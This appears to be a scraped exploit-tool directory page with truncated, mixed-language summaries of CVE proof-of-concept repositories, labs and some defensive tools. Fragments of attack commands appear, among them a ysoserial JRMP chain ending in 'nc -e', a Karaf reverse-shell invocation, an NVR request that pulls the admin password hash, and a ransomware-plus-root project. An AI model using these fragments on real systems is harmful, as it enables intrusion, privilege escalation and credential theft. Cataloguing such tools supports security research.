SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Eine Authentifizierungs-Bypass-Schwachstelle in der Web-Komponente von Ivanti ICS 9.x, 22.x und Ivanti Policy Secure ermöglicht es einem entfernten Angreifer, durch Umgehung von Kontrollprüfungen auf eingeschränkte Ressourcen zuzugreifen. Verwendung: ./CVE-2023-46805.sh...

CVE-2022-2992

CVE-2022-2992 Esecuzione remota autenticata di comandi in Gitlab tramite importazione da GitHub. Una vulnerabilità in GitLab CE/EE che interessa tutte le versioni dalla 11.10 precedenti alla 15.1.6, tutte le versioni dalla 15.2 precedenti alla 15.2.4, tutte le versioni dalla 15.3 precedenti alla...

CVE-2025-32462

CVE-2025-32462 – sudo POC-Skript Dies ist ein CVE‑2025‑32462 -Erkennungsskript für Privilege Escalation, das zwei Modi bietet: direkte sudo-Erkennung und Erkennung von Traversal durch nicht privilegierte Benutzer. Dateistruktur Datei| Beschreibung ---|--- poc.sh| Schwachstellen-Verifizierungsdate...

CVE-2022-0185

CVE-2022-0185 Este repositório contém exploits de demonstração para o CVE-2022-0185. Há duas versões aqui. A versão não-kctf versão fuse tem como alvo específico o Ubuntu com versão de kernel 5.11.0-44. Ela não retorna diretamente um shell root, mas torna o /bin/bash suid, o que leva a uma escala...

dirtypipe-ebpf_detection

dirtypipe-ebpfdetection -- Ferramenta de detecção do Dirtypipe Este programa foi criado para detectar tentativas de exploração do Dirty Pipe graças ao eBPF. Ele também monitora kernels não vulneráveis e contêineres Docker. 🛫 Se quiser mais detalhes sobre como funciona, leia o post do blog ! 🛬 Com...

Rootsmart-v2.0

Rootsmart 2.0 con cve-2019-2215 + Ransomware Dichiarazione di non responsabilità Questo progetto è esclusivamente a scopo educativo. Questo progetto utilizza codice da rkshrksh/2048-Game e kangtastic/cve-2019-2215. Descrizione del progetto Questo progetto fa parte del modulo Mobile Security del...

lightwave

Cos'è Lightwave Project Lightwave è un progetto open source composto da servizi di gestione delle identità e degli accessi di livello enterprise, progettati per affrontare le sfide critiche di sicurezza, governance e conformità per le app cloud-native all'interno dell'impresa. Attraverso...

CVE-2020-0601-EXP

CVE-2020-0601-EXP Diese Ressource ist die Reproduktion der Microsoft-Signaturzertifikat-Schwachstelle CVE-2020-0601 durch den Autor, umgesetzt unter Einbeziehung relevanter Ressourcen und Artikel. Es wird empfohlen, zusammen mit dem Blog des Autors den ECC-Algorithmus und den...

offsec-karaf-exploits

offsec-karaf-exploits Verwendung: root@kitploit: python exploit.py --help Beispiel: root@kitploit: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Payload neu erstellen Felix Framework einrichten 1. Erstelle das lib-Verzeichnis...

duchamp-root

中文 | English +One-Click+Root;CVE-2026-43499+\IonStack+Exploit;710%E8%A7%A3%E9%94%81%E8%8A%82%E6%9C%80%E6%96%B0%E5%8A%9B%E4%BD%9C+%F0%9F%94%A5 -blue -green ⚡ Orgoglioso utente di JetBrains Mono ⚡ Questa README usa esclusivamente JetBrains Mono. Comic Sans è vietato. !IMPORTANT 🚨 Disclaimer Questo...

gef

GEF pronounced ʤɛf - "Jeff" is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit...

vaas-cve-2014-6271

Vulnerabilidade como Serviço - CVE 2014-6271 Um sistema Linux Debian Buster com uma versão vulnerável do bash e uma aplicação web para demonstrar o CVS-2014-6271, também conhecido como Shellshock. Visão Geral Este container Docker é baseado no Debian Buster e foi modificado para usar uma versão...

vaas-cve-2014-6271

Vulnerability as a Service - CVE 2014-6271 A Debian Buster Linux system with a vulnerable version of bash and a web application to showcase CVS-2014-6271, a.k.a. Shellshock. Overview This docker container is based on Debian Buster and has been modified to use a vulernable version of Bash...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd Primo, ottieni l'hash MD5 della password dell'account 'admin'. Invia: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows...

usn_analytics

USN Analytics Compilazione root@kitploit: git clone https://github.com/4n6ist/usnanalytics.git Linux root@kitploit: sudo dnf groupinstall development-tools // Fedora sudo dnf install glibc-static libstdc++-static // Fedora sudo apt-get install build-essential // Debian/Ubuntu cd usnanalytics make...

kyocera-cve-2022-1026

kyocera-cve-2022-1026 Eine unauthentifizierte Datenextraktions-Schwachstelle in Kyocera-Druckern, die das Auslesen von Klartext-Adressbüchern und Domänen-Anmeldeinformationen ermöglicht. Schwachstellenübersicht Anfang 2021, während eines Penetrationstests, experimentierte ich mit der...

apache_druid_CVE-2021-36749

apachedruidCVE-2021-36749 CVE-2021-36749 Docker Reproduktion der Sicherheitslücke Docker-Image importieren: docker import apachedruid.tar apache:1 Docker starten: docker run -id --name apachedruid -p 8081:8081 -p 8082:8082 -p 8083:8083 -p 8888:8888 -p 8091:8091 -p 2181:2181 镜像ID /bin/bash In den...

CVE-2009-0229-PoC

CVE-2009-0229-PoC PoC für CVE-2009-0229 "Druckerwarteschlangen-Dateileseschwachstelle" LPE AFR verwandt mit CVE-2020-1048 Details Autor: Andrei Costin [email protected] https://twitter.com/costinandrei/ PoC-Datum: 2010-xx-xx Veröffentlichungsdatum: 2020-05-14 erinnert/inspiriert durch...

apache-cve-2021-41773-lab

Lab di Path Traversal Apache 2.4.49 — CVE-2021-41773 Clonazione root@kitploit: git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git cd apache-cve-2021-41773-lab chmod +x apachelab.sh Utilizzo Avvia il server vulnerabile: root@kitploit: ./apachelab.sh choose option 1 Exploit...